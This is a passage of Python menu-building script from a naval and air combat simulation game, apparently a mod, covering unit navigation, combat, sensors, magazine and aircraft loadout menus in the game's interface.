if single:
BuildDeveloperMenu(Menu, interface)
def AmramCreateAllianceUnitMenu(Menu, SM):
side_name = SM.GetAllianceCountry(SM.GetUserAlliance())
Menu.AddItem('Create unit','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if side_name in Alliance_List.keys():
#we have an alliance, retrieve the country list.
alliance = Alliance_List[side_name]['Members']
for country in sorted(alliance):
Menu.AddItem('%s' % country,'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
SM.SetAllianceDefaultCountry(SM.GetUserAlliance(),country)
BuildCreateUnitMenu(Menu, SM)
Menu.EndSubMenu()
else:
BuildCreateUnitMenu(Menu, SM)
SM.SetAllianceDefaultCountry(SM.GetUserAlliance(), side_name)
Menu.EndSubMenu()
def MultiplayerYieldTakeOwnership(Menu, interface):
if (interface.IsMultiplayerActive()):
if (not interface.IsPlayerControlled()):
if (interface.IsAvailable()):
Menu.AddItem('Take control', 'TakeControl')
return
else:
controller = interface.GetController()
Menu.AddItem('Unavailable interface (%s)' % controller, '')
return
else:
Menu.AddItem('Release control', 'ReleaseControl')
def NavigationCommands(Menu, interface, Selected, EditMode):
Menu.AddItem('Navigation','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if Selected['Ship'] > 0 or Selected['Air'] > 0 or Selected['Sub'] > 0:
leads = Selected['FormLeader']
members = Selected['FormMember']
sprint = Selected['FormModeSprint']
pace = Selected['FormModePace']
Menu.AddItem('Formation Options',''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
if leads > 0 or members > 0:
Menu.AddItem('Leaders: %s, Members: %s' % (leads, members),'')
Menu.AddItemUI(' Set Formation Leader', 'FormationLeaderInput', 'Target')
if members > 0:
Menu.AddItemWithTextParam(' Leave Formation', 'OptionHandler', 'Formation_Member|Function|-2')
Menu.AddItem('Sprinting: %s, Pacing: %s' % (sprint, pace),'')
Menu.AddItemWithTextParam(' Formation Follow Leader', 'OptionHandler', 'Formation_Mode_Sprint_Pace|Function|1')
Menu.AddItemWithTextParam(' Formation Sprint/Drift', 'OptionHandler', 'Formation_Mode_Sprint_Pace|Function|2')
Menu.AddItemWithTextParam(' Lock Formation Settings', 'OptionHandler', 'FormationEdit|Function|0')
Menu.AddItemWithTextParam(' Unlock Formation Settings', 'OptionHandler', 'FormationEdit|Function|1')
Menu.AddItemWithTextParam(' Set Formation North Bearing', 'OptionHandler', 'Formation_Mode_RN|Function|1')
Menu.AddItemWithTextParam(' Set Formation Relative Bearing', 'OptionHandler', 'Formation_Mode_RN|Function|0')
Menu.EndSubMenu()
if Selected['Ship'] > 0 or Selected['Air'] > 0 or Selected['Sub'] > 0 or EditMode:
Menu.AddItem('Heading Options',''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemWithTextParam('Set Heading', 'OptionHandler', 'HeadingStandard|Function|1')
Menu.AddItemUI('Enter New Heading', 'HeadingGetInput', 'Text Enter New Heading')
if EditMode and Selected['UnitCount'] > 1:
Menu.AddItemUI('Rotate group', 'RotateGroup', 'Heading')
if Selected['TargetSet'] or Selected['TargetTrack']:
Menu.AddItemWithTextParam('Intercept Target', 'OptionHandler', 'Intercept|Task|Start')
Menu.EndSubMenu()
if Selected['Air'] > 0:
Menu.AddItemWithTextParam('Set Aircraft Cruise Alt/Speed', 'OptionHandler', 'CruiseEnforcement|Task|Start~5~-1')
Menu.AddItem('Altitude Options','')
if 1==1:
Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemWithTextParam('Set Altitude Cruise', 'OptionHandler', 'AltitudeStandard|Function|Cruise')
if Selected['TargetSet'] or Selected['TargetTrack']:
Menu.AddItemWithTextParam('Match Target Altitude', 'OptionHandler', 'AltitudeMatch|Function|0')
Menu.AddItemUIWithParam('Enter New Altitude', 'AltitudeGetInput', 'Text Enter New Altitude', 1)
Menu.AddItemWithTextParam('Set Altitude Max(%dm)' % Selected['Alt+'], 'OptionHandler', 'AltitudeStandard|Function|%s' % Selected['Alt+'])
alts = [32000, 30000, 28000, 26000, 24000, 22000, 20000, 18000, 16000, 14000, 12000, 10000, 8000, 6000, 5000, 4000, 3000, 2000, 1000, 500, 250, 100, 50]
for alt in alts:
if Selected['Alt+'] >= alt:
Menu.AddItemWithTextParam('Set Altitude %dm' % alt, 'OptionHandler', 'AltitudeStandard|Function|%d' % alt)
Menu.EndSubMenu()
if Selected['Sub'] > 0:
Menu.AddItem('Depth Options','')
if 1==1:
Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemUIWithParam('Enter New depth', 'AltitudeGetInput', 'Text Enter New Depth', 2)
Menu.AddItemWithTextParam('Set Depth Periscope', 'OptionHandler', 'AltitudeStandard|Function|Periscope')
Menu.AddItemWithTextParam('Set Depth Missile', 'OptionHandler', 'AltitudeStandard|Function|Missile')
depths = [30, 50, 100, 150, 200, 250, 300, 350, 400, 450, 500, 600, 700]
for depth in depths:
if Selected['Depth+'] >= depth:Menu.AddItemWithTextParam('Set Depth %dm' % depth, 'OptionHandler', 'AltitudeStandard|Function|-%d' % depth)
Menu.AddItemWithTextParam('Set Depth Max(%dm)' % Selected['Depth+'], 'OptionHandler', 'AltitudeStandard|Function|-%d' % Selected['Depth+'])
Menu.EndSubMenu()
if Selected['Speed+'] > 0 or Selected['Speed-'] > 0:
Menu.AddItem('Speed Options','')
if 1==1:
Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemWithTextParam('Cruise', 'OptionHandler', 'SetSpeed|Function|Cruise')
if Selected['HasThrottle']:
Menu.AddItem('Throttle','')
if 1==1:
Menu.BeginSubMenu(); Menu.SetStayOpen(1)
for throttle in xrange(11):
throttle_set = throttle / 10.0
show_throttle = throttle_set * 100
Menu.AddItemWithTextParam('Throttle %d%%' % show_throttle, 'OptionHandler', 'SetThrottle|Function|%d' % throttle_set)
if Selected['FixedWing'] > 0:
for throttle in range(6, 11):
throttle_set = throttle / 5.0
show_throttle = throttle_set * 100 - 100
Menu.AddItemWithTextParam('Throttle AB %d%%' % show_throttle, 'OptionHandler', 'SetThrottle|Function|%d' % throttle_set)
Menu.EndSubMenu()
if 1==1:
Menu.AddItem('Knots - Relative',''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
speeds = [500, 200, 100, 50, 10, 5, 1]
for speed in sorted(speeds, reverse = True):
if Selected['Speed+'] >= speed:
Menu.AddItemWithTextParam('Speed +%dkts' % speed, 'OptionHandler', 'SetSpeed+|Function|%d' % speed)
for speed in sorted(speeds):
if Selected['Speed-'] >= speed:
Menu.AddItemWithTextParam('Speed -%dkts' % speed, 'OptionHandler', 'SetSpeed+|Function|-%d' % speed)
Menu.EndSubMenu()
Menu.EndSubMenu()
Menu.AddItem('Waypoint Options','')
if Selected['Ship'] > 0 or Selected['Air'] > 0 or Selected['Sub'] > 0 and Selected['Speed+'] > 0:
Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemUI('Add Waypoint', 'CreateWaypointScript', 'Datum')
Menu.AddItemUI('Remove Waypoint', 'RemoveWaypointScript', 'Text Enter Number of Waypoint to Remove\n Count begins with zero')
Menu.AddItem('Clear all', 'ClearWaypoints')
if Selected['UnitCount'] > 1:
Menu.AddItemWithTextParam('Loop Group Waypoints', 'OptionHandler', 'WaypointLoop|Function|1')
Menu.AddItemWithTextParam('Dont Group Loop Waypoints', 'OptionHandler', 'WaypointLoop|Function|0')
else:
if (interface.GetNavLoopState()):
Menu.AddItemWithParam('Waypoint Loop off', 'SetNavLoopState', 0)
else:
Menu.AddItemWithParam('Waypoint Loop on', 'SetNavLoopState', 1)
Menu.EndSubMenu()
Menu.EndSubMenu()
def CombatMenuItems(Menu, interface, Selected):
Menu.AddItem('Combat','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if Selected['UnitCount'] > 1:
group_string = ['Group ','s']
else:
group_string = ['','']
Menu.AddItemUI('Set %s Target' % group_string[0],'OptionSetTargeting', 'Target')
if Selected['TargetSet'] > 0:
Menu.AddItemWithTextParam('Clear %sTarget%s' % (group_string[0], group_string[1]),'OptionHandler', 'Target|Function|-1')
Menu.AddItem('Engage Target','');Menu.BeginSubMenu(); Menu.SetStayOpen(1)
if 1==1:
Menu.AddItem('Launch Weapon At Target', '');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
loaded_list = Selected['WeaponList']
weapon_list = loaded_list.keys()
weapon_list.sort()
for weapon_n in xrange(len(weapon_list)):
if loaded_list[weapon_list[weapon_n]][0] > 0:
Menu.AddItemUIWithParam('%s : %d' % (weapon_list[weapon_n], loaded_list[weapon_list[weapon_n]][0]), 'MenuLaunchCommand', 'Target', weapon_n)
Menu.EndSubMenu()
if Selected['Air'] > 0:
Menu.AddItemWithTextParam('Intercept Target', 'OptionHandler','Intercept|Task|Start~1~0')
if Selected['HasBombs']:
if Selected['TargetSet']:
Menu.AddItemWithTextParam('Dive Bomb Selected Target(s)', 'OptionHandler','BombRunInitialized|Erase|1;Bombing_Complete|Erase|1;BombDatum|Erase|1;Style|Set|dive;BombRun|Task|Start~1~0')
Menu.AddItemWithTextParam('Level Bomb Selected Target(s)', 'OptionHandler','BombRunInitialized|Erase|1;Bombing_Complete|Erase|1;BombDatum|Erase|1;Style|Set|level;BombRun|Task|Start~1~0')
Menu.AddItemWithTextParam('Loft Bomb Selected Target(s)', 'OptionHandler','BombRunInitialized|Erase|1;Bombing_Complete|Erase|1;BombDatum|Erase|1;Style|Set|loft;BombRun|Task|Start~1~0')
else:
Menu.AddItemUI('Set Dive Bomb Target', 'BombRunSetTargetDive', 'Target')
Menu.AddItemUI('Set Level Bomb Target', 'BombRunSetTargetLevel', 'Target')
Menu.AddItemUI('Set Loft Bomb Target', 'BombRunSetTargetLoft', 'Target')
Menu.EndSubMenu()
Menu.AddItem('Engage Datum',''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
if 1==1:
Menu.AddItem('Launch Weapon At Datum', '');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
loaded_list = Selected['WeaponList']
weapon_list = loaded_list.keys()
weapon_list.sort()
for weapon_n in xrange(len(weapon_list)):
Menu.AddItemUIWithParam('%s : %d' % (weapon_list[weapon_n], loaded_list[weapon_list[weapon_n]][0]), 'MenuLaunchCommand', 'Datum', weapon_n)
Menu.EndSubMenu()
if Selected['Air'] == 1:
if Selected['HasBombs']:
Menu.AddItemUI('Dive Bomb Datum', 'BombRunSetDatumDive', 'Datum')
Menu.AddItemUI('Level Bomb Datum', 'BombRunSetDatumLevel', 'Datum')
Menu.AddItemUI('Loft Bomb Datum', 'BombRunSetDatumLoft', 'Datum')
Menu.EndSubMenu()
Menu.EndSubMenu()
def SystemsMenuItems(Menu, interface, Selected):
Menu.AddItem('Sensors','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
if Selected['HasRadar']:
Menu.AddItem('Radar','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
Menu.AddItemWithTextParam('All On','OptionHandler','SensorState|Function|1~1')
Menu.AddItemWithTextParam('All Off','OptionHandler','SensorState|Function|1~0')
Menu.EndSubMenu()
if Selected['HasSonarP'] or Selected['HasSonarA']:
Menu.AddItem('Sonar','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
Menu.AddItemWithTextParam('All On','OptionHandler','SensorState|Function|4~1;SensorState|Function|8~1')
Menu.AddItemWithTextParam('All Off','OptionHandler','SensorState|Function|4~0;SensorState|Function|8~0')
if Selected['HasSonarA']:
Menu.AddItemWithTextParam('All Active On','OptionHandler','SensorState|Function|8~1')
Menu.AddItemWithTextParam('All Active Off','OptionHandler','SensorState|Function|8~0')
if Selected['HasSonarP']:
Menu.AddItemWithTextParam('All Passive On','OptionHandler','SensorState|Function|4~1')
Menu.AddItemWithTextParam('All Passive Off','OptionHandler','SensorState|Function|4~0')
Menu.EndSubMenu()
if Selected['HasECM']:
Menu.AddItem('ECM','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
Menu.AddItemWithTextParam('All On','OptionHandler','SensorState|Function|32~1')
Menu.AddItemWithTextParam('All Off','OptionHandler','SensorState|Function|32~0')
Menu.EndSubMenu()
Menu.EndSubMenu()
if Selected['UnitCount'] == 1 and Selected['Launchers'] and (Selected['Ship'] or Selected['Sub'] or Selected['FixedLand'] or Selected['MobileLand']):
Menu.AddItem('Launchers','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
UI = interface
nCount = UI.GetLauncherCount()
for n in range(0, nCount):
launcher_info = UI.GetLauncherInfo(n)
weap_name = UI.GetLauncherWeaponName(n)
weap_qty = launcher_info.Quantity
isLoadingUnloading = launcher_info.IsLoading
if (weap_qty == 0):
if (not isLoadingUnloading):
nTypes = UI.GetLauncherTypesCount(n)
for k in range(0, nTypes):
type_name = UI.GetLauncherTypeName(n, k)
reload_qty = UI.GetMagazineQuantity(type_name)
if (reload_qty > 0):
Menu.AddItemWithTextParam('Load %s [%d]' % (type_name, reload_qty), 'Reload %d' % n, type_name)
else:
Menu.AddItemWithParam('Cancel load %s' % weap_name, 'Unload', n)
else:
if (not isLoadingUnloading):
if (UI.CanMagazineAcceptItem(weap_name)):
Menu.AddItemWithParam('Unload %s' % weap_name, 'Unload', n)
else:
Menu.AddItem('Cannot Unload %s' % weap_name, '')
else:
Menu.AddItemWithTextParam('Cancel unload %s' % weap_name, 'Reload%d' % n, weap_name)
Menu.EndSubMenu()
if Selected['Sub'] > 0:
Menu.AddItem('Masts','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
if Selected['PeriDeep']:
if Selected['Periscope-']:
Menu.AddItemWithTextParam('Raise Periscope','OptionHandler','Periscope|Function|1')
if Selected['Periscope+']:
Menu.AddItemWithTextParam('Lower Periscope','OptionHandler','Periscope|Function|0')
if Selected['DieselSub']:
if Selected['Snorkel-']:
Menu.AddItemWithTextParam('Start Snorkeling','OptionHandler','Snorkel|Function|1')
if Selected['Snorkel+']:
Menu.AddItemWithTextParam('Stop Snorkeling','OptionHandler','Snorkel|Function|0')
if Selected['HasRadar']:
if Selected['RadarMast-']:
Menu.AddItemWithTextParam('Raise Radar','OptionHandler','RadarMast|Function|1')
if Selected['RadarMast+']:
Menu.AddItemWithTextParam('Lower Radar','OptionHandler','RadarMast|Function|0')
else:
Menu.AddItemWithTextParam('Set Depth Periscope', 'OptionHandler', 'AltitudeStandard|Function|Periscope')
Menu.EndSubMenu()
Menu.EndSubMenu()
def ManagementMenuItems(Menu, interface, Selected):
Menu.AddItem('Management','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
Menu.AddItem('Add Tasks','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
Menu.AddItem('Patrol','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if Selected["UnitCount"] == 1 and not interface.IsFixed():
Menu.AddItemUI('Patrol station','AddPatrolStation', 'Datum')
Menu.AddItemUI('Set patrol area', 'SetPatrolArea', 'Box')
Menu.AddItem('Clear patrol area', 'ClearPatrolArea')
Menu.EndSubMenu()
if Selected["UnitCount"] == 1 and interface.IsAir():
menu.BuildRefuelMenu(Menu, interface)
menu.BuildLandMenu(Menu, interface)
if 1==1:
Menu.AddItemUI('By Name','AddTask', 'Text Name of Task to Add')
Menu.AddItem('From List','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
useful_tasks = ['BombRun', 'EngageAll', 'EngageAllAir', 'Intercept', 'Land', 'MissileWarning', 'PatrolCircle', 'PointDefence', 'RTB', 'Refuel']
hidden_tasks = ['MissileWarning', 'PointDefence', 'RTB', 'Refuel']
for task in useful_tasks:
if task in hidden_tasks:
Menu.AddItemWithTextParam('hidden - %s' % task,'OptionHandler', '%s|Task|Start~1~1' % task)
else:
Menu.AddItemWithTextParam(' %s' % task,'OptionHandler', '%s|Task|Start~1~0' % task)
Menu.EndSubMenu()
Menu.EndSubMenu()
Menu.AddItem('Remove Tasks','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
Menu.AddItemUI('By Name','DeleteTask','Text Name of Task to Remove')
Menu.AddItem('From List','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
tasks = Selected['Tasks']
for task in tasks:
Menu.AddItemWithTextParam('%s : %s / %s' % (task, tasks[task], Selected['UnitCount']),'DeleteTask',task)
Menu.EndSubMenu()
Menu.EndSubMenu()
if Selected['UnitCount'] == 1:
Menu.AddItem('Open Unit Panel','ShowPlatformPanel')
if Selected['HasMagazine'] == 1:
Menu.AddItem('Open Magazine Panel','ShowStoresPanel')
if Selected['HasFlightPort'] == 1:
Menu.AddItem('Open FlightPort Panel','ShowFlightPanel')
BuildMissionMenu(Menu, interface)
Menu.EndSubMenu()
def GetLoadouts(UI):
SM = UI.GetScenarioInterface()
BB = UI.GetBlackboardInterface()
if SM.GetFilterByYear():
Filter = True
else:
Filter = False
filter_list = {}
aircraft_dict = {}
if UI.HasFlightPort():
FP = UI.GetFlightPortInfo()
for n in xrange(FP.GetUnitCount()):
UIn = FP.GetUnitPlatformInterface(n)
setups = UIn.GetPlatformSetups()
for s in xrange(setups.Size()):
setup = setups.GetString(s)
filter_list[setup] = None
try:
aircraft_dict[UIn.GetPlatformClass()] += 1
except:
aircraft_dict[UIn.GetPlatformClass()] = 1
aircraft_list = aircraft_dict.keys()
aircraft_list.sort()
else:
aircraft_list = [UI.GetPlatformClass()]
setups = UI.GetPlatformSetups()
for s in xrange(setups.Size()):
setup = setups.GetString(s)
filter_list[setup] = None
aircraft_dict[UI.GetPlatformClass()]=1
return read_loadout_file(aircraft_list, Filter, filter_list), aircraft_dict
def Amram_Paged_Loadout_Menu(Menu, UI, loadouts_dict, aircraft_dict, additive = False):
SM = UI.GetScenarioInterface()
Children = False
if UI.HasFlightPort():
FP = UI.GetFlightPortInfo()
if FP.GetUnitCount() > 0:
Children = True
BB = UI.GetBlackboardInterface()
if additive:
if not Children:
#we cannot do an additive loadout if there are no child aircraft to select from.
return
Menu.AddItem('Additive Loadout Menu', ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
if BB.KeyExists('InvMulti'):
InvMulti = Try_Read_Message(BB, 'InvMulti', 2)
else:
BB.Write('InvMulti', '1')
InvMulti = 1
Menu.AddItemUIWithParam('Inventory Multiplier: %s' % InvMulti, 'InputHandler', 'Text Inventory Miltiplier, may be less than one', 5)
else:
InvMulti = 1
Menu.AddItem('Loadouts Menu', ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Write_Message_List(BB, 'loadouts_dict', loadouts_dict)
paging = 25
page_load = False
if Children or UI.IsAir():
#is parent menu if UI.IsAir(), child menu is has flightport.
for armament in sorted(loadouts_dict.iterkeys()):
Menu.AddItem('%s' % armament,''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
#aircraft might be long enough to need paging sometime. prep paging
for aircraft in sorted(loadouts_dict[armament].iterkeys()):
count = aircraft_dict[aircraft]
if Children:
Menu.AddItem('%s %s' % (count, aircraft),''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
load_max = len(loadouts_dict[armament][aircraft].keys())
if load_max > paging:
#loadouts are long enough to need paging. prep paging
page_load = True
page_load_set = 0
page_load_end = 1
load_count = 0
for loadout in sorted(loadouts_dict[armament][aircraft].iterkeys()):
if page_load:
#do aircraft paging task. Kill submenu to begin next one if warranted.
#begin new page with appropriate count.
load_count += 1
page_val2 = int(load_count/paging) + 1
if page_val2 > page_load_end:
#we need to start a new page, so close the old one.
Menu.EndSubMenu()
page_load_end += 1
if page_val2 > page_load_set:
#initiate the new page.
Menu.AddItem('Page %d' % page_load_set,''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
page_load_set += 1
add = 0
if additive:
add = 1
param = '%s|%s|%s|%s|%s|%s' % (armament, aircraft, loadout, aircraft_dict[aircraft], InvMulti, add)
Menu.AddItem('%s' % loadout, '');Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItem('Select any item to load all items','')
if armament == 'Unknown':
Menu.AddItem('It would appear I missed some formatting','')
Menu.AddItem('Please post about this loadout so I can','')
Menu.AddItem('make it filter correctly in the future.','')
for weapon in sorted(loadouts_dict[armament][aircraft][loadout].iterkeys()):
if additive:
addcount = loadouts_dict[armament][aircraft][loadout][weapon] * InvMulti * count
else:
addcount = loadouts_dict[armament][aircraft][loadout][weapon]
#round it up
addcount = int(math.ceil(addcount))
Menu.AddItemWithTextParam('%s %s ' % (addcount, weapon), 'LoadoutHandler', param)
Menu.EndSubMenu()
if page_load:
if load_count == load_max:
Menu.EndSubMenu()
page_load = False
load_count = 0
page_load_set = 0
page_load_end = 1
Menu.EndSubMenu()
if Children:
Menu.EndSubMenu()
Menu.EndSubMenu()
return
def GenericLoadouts(menu, interface):
if (UI.IsAir()):
loadouts = UI.GetLoadoutList()
loadouts.PushBack('AAW')
loadouts.PushBack('ASuW')
loadouts.PushBack('ASW')
loadouts.PushBack('Strike')
loadouts.PushBack('Nuclear')
Menu.AddItem('Generic Loadouts','')
Menu.BeginSubMenu()
BuildPagedLoadoutMenu(Menu, loadouts, 20, 'EquipLoadout', '')
Menu.EndSubMenu()
def ParentConfigs(Menu, UI):
if ((not UI.HasMagazine()) and (not UI.HasFlightPort())):
return
setupList = UI.GetPlatformSetups()
if (setupList.Size() == 0):
return
Menu.AddItem('Parent Platform Setup', ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItem('Caution: Applying any of these will replace all launchers,\n landed aircraft, their launchers, and magazines.','')
for n in xrange(setupList.Size()):
setup_n = setupList.GetString(n)
Menu.AddItemWithTextParam('%s' % setup_n, 'AutoConfigurePlatform', setup_n)
Menu.EndSubMenu()
def Unit_Characteristics_Menu(Menu, UI, Selected, loadouts_dict, aircraft_dict, Flight, group, single):
Menu.AddItem('Edit Characteristics', ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
if single:
Menu.AddItemUI('Duplicate', 'CopyPlatform', 'Datum')
Menu.AddItemUI('Move unit', 'MovePlatform', 'Datum')
Menu.AddItemUI('Move unit to coordinate', 'MovePlatformString', 'Text Enter Latitude Longitude')
BuildRenameMenu(Menu, UI)
Menu.AddItemWithTextParam('Delete Unit', 'OptionHandler', 'DeleteUnit|Function|1')
ParentConfigs(Menu, UI)
Menu.AddItem("Amram's SetupGenerator",''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItem('Stock Level is optional for ships','')
Menu.AddItem('===================================','')
Menu.AddItemWithTextParam('Set Low Stock Level', 'OptionHandler', 'MagTonnage|Set|15')
Menu.AddItemWithTextParam('Set Standard Stock Level', 'OptionHandler', 'MagTonnage|Set|25')
Menu.AddItemWithTextParam('Set High Stock Level', 'OptionHandler', 'MagTonnage|Set|35')
BB = UI.GetBlackboardInterface()
if BB.KeyExists('MagTonnage') or BB.KeyExists('MagItems') or UI.IsSurface():
Menu.AddItemUI('Autoconfigure Magazine and Launchers', 'MagGenerator', 'Text Please input the date: YYYY/MM/DD')
else:
Menu.AddItem('Please set a maximum tonnage or maximum\n item count to enable the generator','')
Menu.EndSubMenu()
#EditMenu Unit Additions
Add_To_Magazine_Menu(Menu, UI, loadouts_dict, aircraft_dict)
if Flight:
Add_To_FlightDeck(Menu, UI)
if Selected['Air'] > 0:
loadouts = 0
for armament in loadouts_dict:
for aircraft in loadouts_dict[armament]:
if len(loadouts_dict[armament][aircraft].keys()) > 0:
loadouts = 1
break
if loadouts:
Amram_Paged_Loadout_Menu(Menu, UI, loadouts_dict, aircraft_dict)
Menu.AddItem('Launchers', ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
for launcher_num in xrange(UI.GetLauncherCount()):
Menu.AddItem('L%d' % (launcher_num+1), '')
Menu.BeginSubMenu()
Menu.AddItemWithParam('Unload', 'Unload', launcher_num)
equipment = UI.GetCompatibleItemList(launcher_num)
BuildPagedLoadoutMenu(Menu, equipment, 20, 'ReloadLauncher', '%d' % launcher_num)
Menu.EndSubMenu()
Menu.EndSubMenu()
BuildRandomizeEditMenu(Menu, UI)
else:
Menu.AddItemUI('Duplicate Group', 'CopyGroup', 'Datum')
Menu.AddItemUI('Rename Group', 'RenameGroup', 'Text Enter Group Name')
Menu.AddItemUI('Move group', 'MoveGroup', 'Datum')
Menu.AddItem('Delete Units', 'DeleteGroup')
Menu.EndSubMenu()
def Special_Edit_Items_Menu(Menu, UI):
Menu.AddItem('Special', '')
Menu.BeginSubMenu()
if (UI.IsFixed() or UI.IsGroundVehicle()):
if (UI.GetAlwaysVisible()):
Menu.AddItemWithParam('Clear always visible', 'SetAlwaysVisible', 0)
else:
Menu.AddItemWithParam('Set always visible', 'SetAlwaysVisible', 1)
cost_millions = 1e-6 * UI.GetCost()
Menu.AddItemUI('Set Custom Cost (%.1f)' % cost_millions, 'SetCustomCost', 'Text Enter Custom Cost in Millions')
Menu.EndSubMenu()
def Add_To_Magazine_Menu(Menu, UI, loadouts_dict, aircraft_dict):
if not UI.HasMagazine():
return
Menu.AddItem('Add Stock To Magazine(s)', ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemUI('Add by name', 'AddItemToMagazine', 'Text Name of Item to Add')
paging = 25
if 1==1:
magazineAddCount = UI.GetMagazineAddCount()
Menu.AddItem('Edit quantity (x%d)' % magazineAddCount, ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemWithParam('1', 'SetMagazineAddCount', 1)
Menu.AddItemWithParam('10', 'SetMagazineAddCount', 10)
Menu.AddItemWithParam('50', 'SetMagazineAddCount', 50)
Menu.AddItemWithParam('100', 'SetMagazineAddCount', 100)
Menu.SetStayOpen(0)
Menu.AddItemUI('Enter value', 'SetMagazineAddCount', 'Text')
Menu.EndSubMenu()
Suggested_Items_Menu(Menu, UI, loadouts_dict)
Amram_Paged_Loadout_Menu(Menu, UI, loadouts_dict, aircraft_dict, additive = True)
Menu.EndSubMenu()
def Suggested_Items_Menu(Menu, UI, loadouts_dict):
classified = Get_Relevant_Stock(UI, loadouts_dict)
categories = [['MIS', 'Missile'], ['ROC', 'Rocket'], ['GBU', 'Guided Bomb'], ['UBU', 'Unguided Bomb'], ['GUN', 'Gun Round'], ['TRP', 'Torpedo'], ['BUI', 'Sonobuoy'], ['CM', 'Counter Measure'], ['UNK', 'Unknown Item Type'], ['NUC', 'Nuclear'], ['MIN', 'Mines'], ['FUEL', 'Fuel Tanks']]
DoOwner = []
Proceed = False
for category in categories:
if len(classified['Parent'][category[0]].keys()) > 0:
DoOwner.append('Parent')
Proceed = True
if len(classified['Child'][category[0]].keys()) > 0:
DoOwner.append('Child')
Proceed = True
paging = 25
if Proceed:
Menu.AddItem('Add Suggested', ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemWithTextParam('Fuel', 'AddItemToMagazine', 'Fuel')
for owner in classified:
if owner in DoOwner:
Menu.AddItem('%s Stock' % owner, ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
for category in categories:
nItems = len(classified[owner][category[0]].keys())
if nItems > 0:
Menu.AddItem('%s' % category[1], ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
item_list = sorted(classified[owner][category[0]].iterkeys())
if nItems > paging:
nPages = int(ceil(float(nItems)/paging))
for p in xrange(nPages):
nItemsPage = min(paging, nItems - p*paging)
Menu.AddItem('Page %d' % (p+1), ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
for n in xrange(nItemsPage):
item = item_list[(p*paging)+n]
Menu.AddItemWithTextParam('%s' % item, 'AddItemToMagazine', item)
Menu.EndSubMenu()
else:
for item in classified[owner][category[0]]:
Menu.AddItemWithTextParam('%s' % item, 'AddItemToMagazine', item)
Menu.EndSubMenu()
Menu.EndSubMenu()
Menu.EndSubMenu()
def Add_To_FlightDeck(Menu, UI):
Menu.AddItem('Add to flight deck',''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
group_name = UI.GetAirGroupName()
group_count = UI.GetAirGroupCount()
start_id = UI.GetAirUnitId()
Menu.AddItem('Set group (%s-%d x%d)' % (group_name, start_id, group_count), ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemUI('Name', 'SetAirGroupNameUnit', 'Text')
Menu.SetStayOpen(1)
Menu.AddItem('Size',''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemWithParam('1', 'SetAirGroupSizeUnit', 1)
Menu.AddItemWithParam('2', 'SetAirGroupSizeUnit', 2)
Menu.AddItemWithParam('4', 'SetAirGroupSizeUnit', 4)
Menu.AddItemUI('Enter value', 'SetAirGroupSizeUnit', 'Text')
Menu.EndSubMenu()
Menu.EndSubMenu()
# Create fixed wing air on carrier or airstrip ###
Menu.AddItem('Air fixed wing','')
BuildPagedCreateChildMenuUnit(UI, Menu, 'AirFW', 25)
# Create helo on carrier or airstrip ###
Menu.AddItem('Helo','')
BuildPagedCreateChildMenuUnit(UI, Menu, 'Helo', 25)
Menu.EndSubMenu()
def Add_Mission_Menu(Menu, UI):
Menu.AddItem('Add mission', '')
Menu.BeginSubMenu()
Menu.AddItemUI('CAP', 'AddCAPMission', 'Datum')
Menu.EndSubMenu()
# menu for adding and editing aircraft missions
def BuildMissionMenu(UnitMenu, UnitInfo):
FP = UnitInfo.GetFlightPortInfo()
if (not FP.IsValid()):
return
hasCAP = FP.HasAircraftForMission('cap')
hasStrike = FP.HasAircraftForMission('strike')
hasASW = FP.HasAircraftForMission('asw')
hasAEW = FP.HasAircraftForMission('aew')
if (hasCAP or hasAEW or hasStrike or hasASW):
UnitMenu.AddItem('Quick Mission', '')
UnitMenu.BeginSubMenu()
UnitMenu.AddItem('Add', '')
UnitMenu.BeginSubMenu()
if (hasCAP):
UnitMenu.AddItemUI('CAP', 'AddCAPMission', 'Datum')
if (hasStrike):
